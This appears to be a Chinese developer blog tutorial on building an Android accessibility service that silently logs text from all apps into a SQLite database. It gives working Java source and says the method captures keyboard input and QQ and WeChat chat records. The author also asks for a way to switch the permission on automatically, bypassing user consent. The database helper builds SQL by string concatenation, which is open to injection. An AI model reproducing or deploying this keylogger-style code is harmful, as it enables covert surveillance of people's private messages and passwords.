该功能的实现是通过Android辅助功能来进行实现的,

先上效果图:

                                                    

下面说一下如何使用Accessibility机制:

何为Accessibility机制

许多Android使用者因为各种情况导致他们要以不同的方式与手机交互。对于那些由于视力、听力或其它身体原因导致不能方便使用Android智能手机的用户,Android提供了Accessibility功能和服务帮助这些用户更加简单地操作设备,包括文字转语音、触觉反馈、手势操作、轨迹球和手柄操作。开发者可以搭建自己的Accessibility服务,这可以加强应用的可用性,例如声音提示,物理反馈,和其他可选的操作模式。

随着Android系统版本的迭代,Accessibility功能也越来越强大,它能实时地 获取当前操作应用的窗口元素信息 并能够双向交互 ,既能获取用户的输入,也能对窗口元素进行操作,比如点击按钮。Accessibility功能在使用时需要经过用户授权,如果用户拒绝授权,应用将无法实现本身的功能。

需要注意的是,此机制是免Root的,并且需要API14以上

AccessibilityService运行在后台,并且能够收到由系统发出的一些事件(AccessibilityEvent,这些事件表示用户界面一系列的状态变化),比如焦点改变,输入内容变化,按钮被点击了等等,该种服务能够请求获取当前活动窗口并查找其中的内容.换言之,界面中产生的任何变化都会产生一个时间,并由系统通知给AccessibilityService.这就像监视器监视着界面的一举一动,一旦界面发生变化,立刻发出警报.

这里我们简单的介绍一下该类常用的方法:

方法 作用
disableSelf() 禁用当前服务,也就是在服务可以通过该方法停止运行
findFoucs(int falg) 查找拥有特定焦点类型的控件
getRootInActiveWindow() 如果配置能够获取窗口内容,则会返回当前活动窗口的根结点
getSeviceInfo() 获取当前服务的配置信息
onAccessibilityEvent(AccessibilityEvent event) 有关AccessibilityEvent事件的回调函数.系统通过sendAccessibiliyEvent()不断的发送AccessibilityEvent到此处
performGlobalAction(int action) 执行全局操作,比如返回,回到主页,打开最近等操作
setServiceInfo(AccessibilityServiceInfo info) 设置当前服务的配置信息
getSystemService(String name) 获取系统服务
onKeyEvent(KeyEvent event) 如果允许服务监听按键操作,该方法是按键事件的回调,需要注意,这个过程发生了系统处理按键事件之前
onServiceConnected() 系统成功绑定该服务时被触发,也就是当你在设置中开启相应的服务,系统成功的绑定了该服务时会触发,通常我们可以在这里做一些初始化操作

更详细的内容参见官方文档

下面我们开始进入正题:

1、首先我们需要定义自己的类,并继承AccessibilityService类

package krelve.demo.rob;import java.sql.Date;import java.text.SimpleDateFormat;import java.util.List;import com.example.bean.DBInfo;import com.example.db.DatabaseUtil;import com.example.dbdemo.Add_Date;import android.accessibilityservice.AccessibilityService;import android.annotation.SuppressLint;import android.content.Intent;import android.provider.Settings;import android.util.Log;import android.view.accessibility.AccessibilityEvent;import android.view.accessibility.AccessibilityNodeInfo;public class RobMoney extends AccessibilityService {    private DatabaseUtil mDBUtil;    @Override    protected void onServiceConnected() {        super.onServiceConnected();    }    @SuppressLint("NewApi")    @Override    public void onAccessibilityEvent(AccessibilityEvent event) {        // 获取数据库        mDBUtil = new DatabaseUtil(RobMoney.this);        try {            String strClickData = event.getText().get(0).toString();            System.out.println("aaaaaaaaaaaaaa" + strClickData);            AccessibilityNodeInfo rootNode = getRootInActiveWindow();            // findEditText(rootNode);            // 获取包名            String str_package = rootNode.getPackageName().toString();            String app_name = StringUtil.pkgTransform(RobMoney.this, str_package);            // 获取当前时间            SimpleDateFormat formatter = new SimpleDateFormat(                    "yyyy年MM月dd日 HH:mm:ss ");            Date curDate = new Date(System.currentTimeMillis());// 获取当前时间            String str_date = formatter.format(curDate);            DBInfo dbInfo = new DBInfo();            dbInfo.setName(app_name);            dbInfo.setData(strClickData);            dbInfo.setTime(str_date);            mDBUtil.Insert(dbInfo);        } catch (IndexOutOfBoundsException e) {            e.printStackTrace();        }        }}
通过这个类的 onAccessibilityEvent方法 ,我们可以拿到用户在指定APP里完成比如点击,滑动,或是屏幕内容变化等用户不可控的情况下的一些回调方法,同样的遍历
rootNode 
节点再循环打印其getText()信息,便可以拿到QQ 微信等聊天记录等信息,这里不再详细描述,小伙伴们自行去实现吧.....

2、我们需要在配置文件内进行配置该service

                                                            

其中,"android.accessibilityservice.AccessibilityService" />是需要申请的权限

xml/accessibility是做了初始化的工作,具体实现如下

<?xml version="1.0" encoding="utf-8"?>

这里我们看到有很多选项,我们看一下常用的几个属性:

1)、android:accessibilityEventTypes="xxxxxxxx"
看属性名也差不多可以明白,这个是用来设置响应事件的类型,

2)、android:accessibilityFeedbackType="xxxxxxxx"
设置回馈给用户的方式,有语音播出和振动。可以配置一些TTS引擎,让它实现发音。

3)、android:notificationTimeout="100"
响应时间的设置就不用多说了

另外:实现监听微信或QQ聊天记录的小伙伴们需要设置下面的属性

4)、android:packageNames="com.xxx.xxx"
可以指定响应某个应用的事件,这里因为要响应所有应用的事件,所以不填,默认就是响应所有应用的事件。比如我们写一个微信抢红包的辅助程序,就可以在这里填写微信的包名,便可以监听微信产生的事件了。我们这些配置信息除了在xml中定义,同样也可以在代码中定义,我们一般都是在onServiceConnected()方法里进

3、我们去设置——辅助功能找到对应的应用名称 然后进行开启就可以实现输入法软键盘内容的监听了。

4、下面说一下数据库存储和读取,因为这个比较简单就不在一一叙述了,直接上代码:

package com.example.db;import java.util.ArrayList;import java.util.List;import android.content.ContentValues;import android.content.Context;import android.database.Cursor;import android.database.SQLException;import android.database.sqlite.SQLiteDatabase;import android.util.Log;import com.example.bean.DBInfo;public class DatabaseUtil {    private MyHelper helper;    public DatabaseUtil(Context context) {        super();        helper = new MyHelper(context);    }    /**     * 插入数据     *      * @param String     * */    public boolean Insert(DBInfo dbInfo) {        SQLiteDatabase db = helper.getWritableDatabase();        String sql = "insert into " + MyHelper.TABLE_NAME                + "(name,data,time) values (" + "'" + dbInfo.getName() + "' ,"                + "'" + dbInfo.getData() + "' ," + "'" + dbInfo.getTime() + "'"                + ")";        try {            db.execSQL(sql);            return true;        } catch (SQLException e) {            Log.e("err", "insert failed");            return false;        } finally {            db.close();        }    }    /**     * 更新数据     *      * @param DBInfo     *            dbInfo , int id     * */    public void Update(DBInfo dbInfo, int id) {        SQLiteDatabase db = helper.getWritableDatabase();        ContentValues values = new ContentValues();        values.put("name", dbInfo.getName());        values.put("data", dbInfo.getData());        values.put("time", dbInfo.getTime());        int rows = db.update(MyHelper.TABLE_NAME, values, "_id=?",                new String[] { id + "" });        db.close();    }    /**     * 删除数据(根据id)     *      * @param int id     * */    public void Delete(int id) {        SQLiteDatabase db = helper.getWritableDatabase();        int raw = db.delete(MyHelper.TABLE_NAME, "_id=?", new String[] { id                + "" });        db.close();    }    /**     * 删除数据(所有)     */    public void deleteAll() {        SQLiteDatabase db = helper.getWritableDatabase();        db.delete(MyHelper.TABLE_NAME, null, null);        db.close();    }    /**     * 查询所有数据     *      * */    public List queryAll() {        SQLiteDatabase db = helper.getReadableDatabase();        List list = new ArrayList();        // Cursor cursor = db.query(MyHelper.TABLE_NAME, null, null, null, null,        // null, "_id ASC");        Cursor cursor = db.query(MyHelper.TABLE_NAME, null, null, null, null,                null, "_id ASC");        while (cursor.moveToNext()) {            DBInfo dbInfo = new DBInfo();            dbInfo.setId(cursor.getInt(cursor.getColumnIndex("_id")));            dbInfo.setName(cursor.getString(cursor.getColumnIndex("name")));            dbInfo.setData(cursor.getString(cursor.getColumnIndex("data")));            dbInfo.setTime(cursor.getString(cursor.getColumnIndex("time")));            list.add(dbInfo);        }        db.close();        return list;    }    /**     * 按姓名进行查找并排序     *      * */    public List queryByname(String name) {        SQLiteDatabase db = helper.getReadableDatabase();        List list = new ArrayList();        Cursor cursor = db.query(MyHelper.TABLE_NAME, new String[] { "_id",                "name", "data", "time" }, "name like ? ", new String[] { "%"                + name + "%" }, null, null, "name asc");        // Cursor cursor = db.query(table, columns, selection, selectionArgs,        // groupBy, having, orderBy)        while (cursor.moveToNext()) {            DBInfo dbInfo = new DBInfo();            dbInfo.setId(cursor.getInt(cursor.getColumnIndex("_id")));            dbInfo.setName(cursor.getString(cursor.getColumnIndex("name")));            dbInfo.setData(cursor.getString(cursor.getColumnIndex("data")));            dbInfo.setTime(cursor.getString(cursor.getColumnIndex("time")));            list.add(dbInfo);        }        db.close();        return list;    }    /**     * 按id查询     *      * */    public DBInfo queryByid(int id) {        SQLiteDatabase db = helper.getReadableDatabase();        DBInfo dbInfo = new DBInfo();        Cursor cursor = db.query(MyHelper.TABLE_NAME, new String[] { "name",                "data", "time" }, "_id=?", new String[] { id + "" }, null,                null, null);        // db.delete(table, whereClause, whereArgs)        while (cursor.moveToNext()) {            dbInfo.setId(id);            dbInfo.setName(cursor.getString(cursor.getColumnIndex("name")));            dbInfo.setData(cursor.getString(cursor.getColumnIndex("data")));            dbInfo.setTime(cursor.getString(cursor.getColumnIndex("time")));        }        db.close();        return dbInfo;    }}

package com.example.db;import android.content.Context;import android.database.sqlite.SQLiteDatabase;import android.database.sqlite.SQLiteDatabase.CursorFactory;import android.database.sqlite.SQLiteOpenHelper;import android.util.Log;public class MyHelper extends SQLiteOpenHelper {    private static String DB_NAME = "mydata.db"; // 数据库名称    public static String TABLE_NAME = "employee"; // 表名    /**     * super(参数1,参数2,参数3,参数4),其中参数4是代表数据库的版本, 是一个大于等于1的整数,如果要修改(添加字段)表中的字段,则设置     * 一个比当前的 参数4大的整数 ,把更新的语句写在onUpgrade(),下一次 调用     */    public MyHelper(Context context) {        super(context, DB_NAME, null, 2);    }    @Override    public void onCreate(SQLiteDatabase db) {        // Create table        String sql = "CREATE TABLE " + TABLE_NAME + "("                + "_id integer primary key autoincrement," + "name varchar(20),"+ "data varchar(200)," + "time varchar(20) );";                Log.e("table oncreate", "create table");        db.execSQL(sql); // 创建表    }    @Override    public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {        // TODO Auto-generated method stub        Log.e("update", "update");        // db.execSQL("ALTER TABLE "+ MyHelper.TABLE_NAME+" ADD sex TEXT");        // //修改字段    }}

好了该方法到 结束,,,如果哪位大神有能够自动设置勾选辅助功能的方法 劳烦请告知一下,在此拜谢!!!







更多相关文章

  1. Android事件机制之二:onTouch详解
  2. 获取Android设备唯一标识
  3. Android多进程
  4. Android(安卓)- 文件读写操作 总结
  5. Android文件操作中的openFileOutPut和openFileInput
  6. Android面试系列文章2018之Android部分事件分发机制篇
  7. Android(安卓)基本控件及表单三大控件,事件处理
  8. Android:SNS客户端开发三:数据库操作(一)
  9. react-native 在android封装原生listView

随机推荐

  1. 艿艿的 Spring Cloud Alibaba!开整~
  2. 37000 字 + 代码,艿艿肝的 Shiro 从入门到
  3. Linux学习:Linux基础简介。
  4. HTTP/2:更快的页面加载时间[每日前端夜话0
  5. 最强 Spring Cloud 注册中心 Nacos,和艿艿
  6. 答应我,别再if/else走天下了可以吗
  7. 2021-1-17
  8. 在 Node.js 中转换 SVG 图像格式[每日前
  9. 可能是第二好的 Spring OAuth 2.0 文章,艿
  10. 从TypeScript的类中派生接口[每日前端夜